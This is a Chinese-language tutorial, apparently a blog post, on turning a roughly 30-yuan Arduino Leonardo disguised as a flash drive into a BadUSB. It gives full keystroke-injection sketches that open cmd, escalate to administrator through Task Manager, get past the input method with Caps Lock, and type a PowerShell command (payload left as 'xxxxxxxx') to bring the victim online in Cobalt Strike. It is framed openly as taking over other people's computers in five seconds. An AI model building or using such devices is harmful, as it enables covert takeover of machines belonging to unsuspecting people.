插一下U盤黑一臺電腦,插了我的U盤你可就是我的腦了,(▽)
我們要用它就應該知道他的工作原理是怎麼樣的,方便我們去發散思維去使用它。
Badusb的原理是利用HID(Human InterfaceDevice,是計算機直接與人互動的裝置,例如鍵盤、滑鼠等)進行攻擊,將USB裝置偽裝使電腦識別為鍵盤,再利用USB裝置中的微控制晶片,向主機傳送命令,從而實現完全控制主機。
首先在TB花費30左右大洋買一個 Badusb leonardo USB,燒錄過程也比較簡單
badusb外觀就是u盤的模樣,很有迷惑性,不瞭解的人還真分辨不出了
下載地址:https://www.arduino.cc/en/software,我這裡下載了最新的2.1.1
下載完解壓就行,雙擊exe開啟,開始是英文,點選File->Preferences...,把English改為簡體中文
來到這一步,可以選擇先插上Badusb,連線上埠,沒有插上埠這裡就會顯示灰色無法點選
然後在工具中找到開發板中的Arduino Leonardo
看到這個地方變了就行,沒變的話就點選選擇一下
舉一個最簡單的栗子,執行win+r開啟執行執行cmd,在cmd中執行whoami
#include <Keyboard.h>
void setup() {//初始化
Keyboard.begin();//開始鍵盤通訊
delay(5000);//延時
Keyboard.press(KEY_LEFT_GUI);//win鍵
delay(500);
Keyboard.press('r');//r鍵
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("whoami");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//結束鍵盤通訊
}
void loop()//迴圈
{
//
}
然後點選編譯看是否有錯誤
沒有錯誤進行上傳,他會把詳細資訊輸出出來,紅色的跟有錯誤一起,其實沒啥問題
通過工作管理員使用管理員許可權執行cmd,不懂得可以手動操作一遍
#include <Keyboard.h>
void setup() {
Keyboard.begin(); //開始
delay(2000); //等待兩秒
Keyboard.press(KEY_LEFT_CTRL); //按下左邊的Ctrl鍵
Keyboard.press(KEY_LEFT_SHIFT); //按下左邊的Shift鍵
Keyboard.press(KEY_ESC); //按下ESC鍵
Keyboard.releaseAll(); //鬆開所有按下的鍵(Ctrl,Shift,ESC)
//以上程式碼執行結果: 開啟工作管理員
delay(500); //等待0.5秒 作用: 等待工作管理員啟動
Keyboard.press(KEY_LEFT_ALT); //按下左邊的Alt鍵
Keyboard.press('f'); //按下f鍵
Keyboard.release('f'); //鬆開f鍵
Keyboard.press('n'); //按下n鍵
Keyboard.releaseAll(); //鬆開所有(n,Alt)
delay(500); //等待0.5秒 作用: 等待執行的啟動
Keyboard.press(KEY_TAB); //按下Tab鍵
Keyboard.release(KEY_TAB); //鬆開Tab鍵
Keyboard.press(' '); //按下空格鍵
Keyboard.release(' '); //鬆開空格鍵
//以上程式碼執行結果: 開啟工作管理員中檔案->執行新任務->勾選以管理員許可權建立此任務
//(提示: 如果覺得很迷惑,按上面程式碼自己操作一下就明白了)
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK); //利用CapsLock繞過輸入法
Keyboard.println("cmd"); //在執行中輸入cmd,由於按下了CapsLock所以實際上輸入的是CMD
delay(3000); //等待2秒 作用: 等待cmd的啟動
Keyboard.println("whoami"); //在cmd中輸入
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end(); //結束
}
void loop() {
// put your main code here, to run repeatedly:
}
通過Badusb 上線CS實現遠端控制
以上我們可以看到,插上usb之後他會模擬鍵盤操作,可以就行開啟或輸入的動作,通過此方法來上線CS(遠端控制)
上線的方法有,powershell上線,certutil下載並執行上線等
badusb通過powershell上執行緒式碼:
#include <Keyboard.h>
void setup() {
Keyboard.begin(); //開始
delay(2000); //等待兩秒
Keyboard.press(KEY_LEFT_CTRL); //按下左邊的Ctrl鍵
Keyboard.press(KEY_LEFT_SHIFT); //按下左邊的Shift鍵
Keyboard.press(KEY_ESC); //按下ESC鍵
Keyboard.releaseAll(); //鬆開所有按下的鍵(Ctrl,Shift,ESC)
//以上程式碼執行結果: 開啟工作管理員
delay(500); //等待0.5秒 作用: 等待工作管理員啟動
Keyboard.press(KEY_LEFT_ALT); //按下左邊的Alt鍵
Keyboard.press('f'); //按下f鍵
Keyboard.release('f'); //鬆開f鍵
Keyboard.press('n'); //按下n鍵
Keyboard.releaseAll(); //鬆開所有(n,Alt)
delay(500); //等待0.5秒 作用: 等待執行的啟動
Keyboard.press(KEY_TAB); //按下Tab鍵
Keyboard.release(KEY_TAB); //鬆開Tab鍵
Keyboard.press(' '); //按下空格鍵
Keyboard.release(' '); //鬆開空格鍵
//以上程式碼執行結果: 開啟工作管理員中檔案->執行新任務->勾選以管理員許可權建立此任務
//(提示: 如果覺得很迷惑,按上面程式碼自己操作一下就明白了)
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK); //利用CapsLock繞過輸入法
Keyboard.println("cmd"); //在執行中輸入cmd,由於按下了CapsLock所以實際上輸入的是CMD
delay(3000); //等待2秒 作用: 等待cmd的啟動
Keyboard.println("powershell.exe xxxxxxxx"); //在cmd中輸入
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end(); //結束
}
void loop() {
// put your main code here, to run repeatedly:
}
找個電腦上u盤,五秒鐘,成功控制該電腦